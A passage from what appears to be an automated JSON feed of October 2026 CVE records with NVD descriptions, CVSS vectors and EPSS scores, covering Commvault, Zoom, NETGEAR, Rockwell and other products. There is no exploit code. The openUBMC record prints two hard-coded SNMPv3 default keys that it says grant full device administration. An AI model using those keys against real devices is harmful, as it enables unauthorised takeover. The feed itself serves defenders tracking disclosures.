2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77093","cveId":"CVE-2026-77093","aliases":[],"kind":"vulnerability","title":"CvFWD contained an integer overflow affecting service availability.","summary":"CvFWD contained an integer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale","detail":"CvFWD contained an integer overflow affecting service availability.  Software customers upgrade to resolved maintenance release. Update all Commvault installations, including CommServe, Webserver, Command Center, MediaAgents, Clients and HyperScale\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:49.017Z","updatedAt":"2026-10-14T19:17:20.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77093","asOf":"2026-10-14T19:17:20.763Z"},"epss":{"probability":0.00226,"percentile":0.13135,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77093","type":"primary","publishedAt":"2026-10-13T15:17:49.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77090","cveId":"CVE-2026-77090","aliases":[],"kind":"vulnerability","title":"CVFS contained an XML external entity (XXE) reference handling issue affecting information dislcosure.","summary":"CVFS contained an XML external entity (XXE) reference handling issue affecting information dislcosure.  Software customers upgrade to resolved maintenance release. Update CVFS.","detail":"CVFS contained an XML external entity (XXE) reference handling issue affecting information dislcosure.  Software customers upgrade to resolved maintenance release. Update CVFS.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:48.887Z","updatedAt":"2026-10-14T19:17:20.647Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77090","asOf":"2026-10-14T19:17:20.647Z"},"epss":{"probability":0.0033,"percentile":0.25939,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77090","type":"primary","publishedAt":"2026-10-13T15:17:48.887Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-65198","cveId":"CVE-2026-65198","aliases":[],"kind":"vulnerability","title":"Huawei's openUBMC ships a default SNMPv3 USM key that uses one value for both authentication and privacy.","summary":"Huawei's openUBMC ships a default SNMPv3 USM key that uses one value for both authentication and privacy. An attacker who holds the key (recoverable from the open-source build) can authenticate SNMPv3 to, and decrypt SNMPv3 traffic from, any unit that still carries the shipped key. The build customization `manifest/build/customization/default_password.lua` sets `AuthenticationKey == EncryptionKey == 7df2f29369e3ac3245b2c9d46b67a0ecd055197e41808a34ef325db2f6422581` for the iBMC product build, and the community seed `account/manufacture/default_password.lua` sets both to `7a2f5b86f20233ec7b7bef49643fbf34d86d0cbf6f1f8f5c52d4f30d4536938b`. These are shipped constants, not per-unit values, and they are not rotated by the Administrator password reset, so they survive account provisioning. This is especially dangerous considering that SNMP access is mapped to full device administration privileges, including system reset and firmware upgrades.","detail":"Huawei's openUBMC ships a default SNMPv3 USM key that uses one value for both authentication and privacy. An attacker who holds the key (recoverable from the open-source build) can authenticate SNMPv3 to, and decrypt SNMPv3 traffic from, any unit that still carries the shipped key. The build customization `manifest/build/customization/default_password.lua` sets `AuthenticationKey == EncryptionKey == 7df2f29369e3ac3245b2c9d46b67a0ecd055197e41808a34ef325db2f6422581` for the iBMC product build, and the community seed `account/manufacture/default_password.lua` sets both to `7a2f5b86f20233ec7b7bef49643fbf34d86d0cbf6f1f8f5c52d4f30d4536938b`. These are shipped constants, not per-unit values, and they are not rotated by the Administrator password reset, so they survive account provisioning. This is especially dangerous considering that SNMP access is mapped to full device administration privileges, including system reset and firmware upgrades.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:46.823Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-65198","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00189,"percentile":0.08463,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-65198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-65198","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-65198","type":"primary","publishedAt":"2026-10-13T15:17:46.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-65198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-65198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53420","cveId":"CVE-2026-53420","aliases":[],"kind":"vulnerability","title":"Buffer overflow in a Zoom Phone feature of Zoom Workplace Clients may allow an unauthenticated user to conduct a escalation of privilege via network access.","summary":"Buffer overflow in a Zoom Phone feature of Zoom Workplace Clients may allow an unauthenticated user to conduct a escalation of privilege via network access.","detail":"Buffer overflow in a Zoom Phone feature of Zoom Workplace Clients may allow an unauthenticated user to conduct a escalation of privilege via network access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:44.753Z","updatedAt":"2026-10-14T04:18:23.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53420","asOf":"2026-10-14T04:18:23.290Z"},"epss":{"probability":0.00315,"percentile":0.24208,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53420&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53420","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53420","type":"primary","publishedAt":"2026-10-13T15:17:44.753Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53420&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53420, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53418","cveId":"CVE-2026-53418","aliases":[],"kind":"vulnerability","title":"Improper Authorization in Handler for Custom URL Scheme in Zoom Workplace for Android before version 7.2.1 may allow an unauthenticated user to conduct an escalation of privilege...","summary":"Improper Authorization in Handler for Custom URL Scheme in Zoom Workplace for Android before version 7.2.1 may allow an unauthenticated user to conduct an escalation of privilege via network access.","detail":"Improper Authorization in Handler for Custom URL Scheme in Zoom Workplace for Android before version 7.2.1 may allow an unauthenticated user to conduct an escalation of privilege via network access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:44.630Z","updatedAt":"2026-10-14T04:18:23.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53418","asOf":"2026-10-14T04:18:23.150Z"},"epss":{"probability":0.00303,"percentile":0.22786,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53418&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53418","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53418","type":"primary","publishedAt":"2026-10-13T15:17:44.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53418&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53418, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-18228","cveId":"CVE-2026-18228","aliases":[],"kind":"vulnerability","title":"HyperScale contained a path traversal issue affecting information disclosure.","summary":"HyperScale contained a path traversal issue affecting information disclosure.  Software customers upgrade to resolved maintenance release. Update Commvault installation of HyperScale MediaAgents.","detail":"HyperScale contained a path traversal issue affecting information disclosure.  Software customers upgrade to resolved maintenance release. Update Commvault installation of HyperScale MediaAgents.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:44.103Z","updatedAt":"2026-10-14T19:17:14.557Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-18228","asOf":"2026-10-14T19:17:14.557Z"},"epss":{"probability":0.00375,"percentile":0.31186,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-18228&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-18228","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-18228","type":"primary","publishedAt":"2026-10-13T15:17:44.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-18228&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-18228, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12656","cveId":"CVE-2026-12656","aliases":[],"kind":"vulnerability","title":"A denial-of-service security issue exists in the affected product and version.","summary":"A denial-of-service security issue exists in the affected product and version. The security issue stems from improper handling of network storm traffic, which can interrupt communication, cause device faults, and affect open TCP and UDP ports. A power cycle is required to recover the device to its normal state.","detail":"A denial-of-service security issue exists in the affected product and version. The security issue stems from improper handling of network storm traffic, which can interrupt communication, cause device faults, and affect open TCP and UDP ports. A power cycle is required to recover the device to its normal state.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:43.967Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12656","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00253,"percentile":0.16592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-12656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12656","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12656","type":"primary","publishedAt":"2026-10-13T15:17:43.967Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-12656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-12656, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12655","cveId":"CVE-2026-12655","aliases":[],"kind":"vulnerability","title":"A security issue exists within 1732E ArmorBlock® I/O, where an unauthenticated attacker can change the device's webserver password without valid credentials.","summary":"A security issue exists within 1732E ArmorBlock® I/O, where an unauthenticated attacker can change the device's webserver password without valid credentials. This could result in admin account takeover or unauthorized modification of device configuration.","detail":"A security issue exists within 1732E ArmorBlock® I/O, where an unauthenticated attacker can change the device's webserver password without valid credentials. This could result in admin account takeover or unauthorized modification of device configuration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:43.820Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12655","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00269,"percentile":0.18872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-12655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12655","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12655","type":"primary","publishedAt":"2026-10-13T15:17:43.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-12655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-12655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-11732","cveId":"CVE-2026-11732","aliases":[],"kind":"vulnerability","title":"An insufficient input validation vulnerability in the website blocking feature (Block Sites) of the listed NETGEAR router models allows a network-adjacent attacker having network...","summary":"An insufficient input validation vulnerability in the website blocking feature (Block Sites) of the listed NETGEAR router models allows a network-adjacent attacker having network access (such as WiFi credentials) to run unauthorized commands on the router. This vulnerability could affect the confidentiality, integrity, and availability of the affected router. It applies only when the Block Sites feature is turned on.","detail":"An insufficient input validation vulnerability in the website blocking feature (Block Sites) of the listed NETGEAR router models allows a network-adjacent attacker having network access (such as WiFi credentials) to run unauthorized commands on the router. This vulnerability could affect the confidentiality, integrity, and availability of the affected router. It applies only when the Block Sites feature is turned on.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:43.657Z","updatedAt":"2026-10-16T14:17:24.213Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Netgear"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:D/RE:L/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-11732","asOf":"2026-10-16T14:17:24.213Z"},"epss":{"probability":0.00241,"percentile":0.15067,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-11732&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-11732","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11732","type":"primary","publishedAt":"2026-10-13T15:17:43.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-11732&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-11732, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-11731","cveId":"CVE-2026-11731","aliases":[],"kind":"vulnerability","title":"An authentication bypass vulnerability in the listed NETGEAR RAX series models allows an unauthenticated attacker with adjacent access to the affected device’s management service...","summary":"An authentication bypass vulnerability in the listed NETGEAR RAX series models allows an unauthenticated attacker with adjacent access to the affected device’s management service to access certain device information or modify administrative settings. This vulnerability may impact the confidentiality and integrity of management data and the availability of device-management functions.","detail":"An authentication bypass vulnerability in the listed NETGEAR RAX series models allows an unauthenticated attacker with adjacent access to the affected device’s management service to access certain device information or modify administrative settings. This vulnerability may impact the confidentiality and integrity of management data and the availability of device-management functions.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:43.510Z","updatedAt":"2026-10-16T14:17:24.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Netgear"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:X/V:D/RE:X/U:Amber","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-11731","asOf":"2026-10-16T14:17:24.080Z"},"epss":{"probability":0.00268,"percentile":0.18812,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-11731&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-11731","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11731","type":"primary","publishedAt":"2026-10-13T15:17:43.510Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-11731&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-11731, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109523","cveId":"CVE-2026-109523","aliases":[],"kind":"vulnerability","title":"A vulnerability was found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected by this vulnerability is an unknown...","summary":"A vulnerability was found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected by this vulnerability is an unknown functionality of the file Admin/getclinic.php of the component AJAX Endpoint. The manipulation of the argument city/cid results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was found in girishsaraf Online-Appointment-Booking-System up to f427b4757128ca253d33d0cc4e87bbb9c999a4d5. Affected by this vulnerability is an unknown functionality of the file Admin/getclinic.php of the component AJAX Endpoint. The manipulation of the argument city/cid results in sql injection. The attack can be executed remotely. The exploit has been made public and could be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 